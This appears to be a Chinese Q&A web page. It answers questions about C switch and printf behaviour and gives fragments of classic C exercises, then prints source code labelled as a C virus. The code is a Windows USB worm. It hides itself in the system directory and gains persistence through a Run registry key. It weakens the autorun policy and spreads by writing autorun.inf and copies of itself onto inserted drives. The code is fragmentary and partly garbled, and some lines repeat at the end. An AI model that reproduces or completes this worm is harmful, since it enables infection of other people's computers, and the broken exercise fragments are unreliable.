两个关于C语言的问题
发布时间:2025-05-12 01:01:00 发布人:远客网络
一、两个关于C语言的问题
1、首先,在 switch(x){}中,case 0与case 1之间没有break;所以执行完case 0后面的内容后还会执行case 1后面的内容,这就是为什么会输出#,因为执行了default: printf("#");
2、其次,*这个是得不到的,除非把switch(y=2)改成switch(y==2)才能得到printf("*");
3、最后,你觉得应该得出%,其实即使满足条件,执行了printf("%");也是得不到%,因为%和\一样,具有转义的作用,要想打印%,应该是printf("%%");
二、c语言必背代码有哪些
1、/*古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少?
兔子的规律为数列1,1,2,3,5,8,13,21....*/
if(i%2==0) printf("\n");/*控制输出,每行四个*/
f1=f1+f2;/*前两个月加起来赋值给第三个月*/
f2=f1+f2;/*前两个月加起来赋值给第三个月*/
2、/*判断101-200之间有多少个素数,并输出所有素数及素数的个数。
程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,
则表明此数不是素数,反之是素数。*/
if(leap)/*内循环结束后,leap依然为1,则m是素数*/
3、/*一个数如果恰好等于它的因子之和,这个数就称为“完数”。例如6=1+2+3.编程
4、/*下面程序的功能是将一个4×4的数组进行逆时针旋转90度后输出,要求原始数组的数据随机输入,新数组以4行4列的方式输出,
{ int a[4][4],b[4][4],i,j;/*a存放原始数组数据,b存放旋转后数组数据*/
/*输入一组数据存放到数组a中,然后旋转存放到b数组中*/
a[i][j]=a[i-1][j]+a[i-1][j-1];
6、/*通过键盘输入3名学生4门课程的成绩,
分别求每个学生的平均成绩和每门课程的平均成绩。
要求所有成绩均放入一个4行5列的数组中,输入时同一人数据间用空格,不同人用回车
其中最后一列和最后一行分别放每个学生的平均成绩、每门课程的平均成绩及班级总平均分。*/
三、用C语言编写的病毒代码
#pragma comment(lib,"shlwapi.lib")
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
TCHAR FirstDriveFromMask(ULONG unitmask);
BOOL FileExist(TCHAR*path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR*path);//Get the virus's path
//BOOL FindU(TCHAR*u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR*path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR*path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR*path);//修改注册表,实现自启动
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR*path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR szSysPath[MAX_PATH];//system path
const TCHAR*szExeName="bbbbb.exe";
const TCHAR*szSysName="aaaaa.exe";
const TCHAR*szAutoRunFile="AutoRun.inf";
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
static TCHAR szAppName[]=TEXT("UUUUUU");
wndclass.lpszClassName=szAppName;
MessageBox(NULL,TEXT("Program requires Windows NT!"),
hwnd= CreateWindow(szAppName, NULL,
while(GetMessage(&msg, NULL, 0, 0))
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
PDEV_BROADCAST_HDR lpdb=(PDEV_BROADCAST_HDR)lParam;
if(lpdb-> dbch_devicetype== DBT_DEVTYP_VOLUME)
PDEV_BROADCAST_VOLUME lpdbv=(PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
case DBT_DEVICEREMOVECOMPLETE://设备删除
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
case WM_Create://处理一些要下面要用到的全局变量
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
if(szExePath[0]==szSysPath[0])//如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
OnDeviceChange(hwnd,wParam,lParam);
return DefWindowProc(hwnd, message, wParam, lParam);
TCHAR FirstDriveFromMask(ULONG unitmask)
if(unitmask& 0x1)//看该驱动器的状态是否发生了变化
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd)
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
CopyFile(szExePath,szPath,FALSE);
if(!FindSelf())//检测自己有没有运行
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
BOOL FileExist(TCHAR*path)//检测PATH所指的路径的文件是否存在
BOOL SetFileAttrib(TCHAR*path)
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
BOOL RegAutoRun(TCHAR*path)//修改注册表实现自启动
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
CreateAutoRunFile(szAutoFile);
CopyFile(szExePath,szPath,FALSE);
BOOL CreateAutoRunFile(TCHAR*path)//在U盘下创建一个autorun.inf文件
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
if(lstrcmp(pe.szExeFile,szSysName)==0)
}while(Process32Next(hShot,&pe));
}隐藏窗口:ShowWindow(false);(#include<windows.h>)
将程序暂停一秒后继续执行:sleep(1000);(同上)
删除文件:system("del文件的路径");
运行文件:system("文件的路径");
system函数(#include<iostream>)
复制文件:详见remove函数(#include<process.h>)
-----------------------------------------------------------
#pragma comment(lib,"shlwapi.lib")
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
TCHAR FirstDriveFromMask(ULONG unitmask);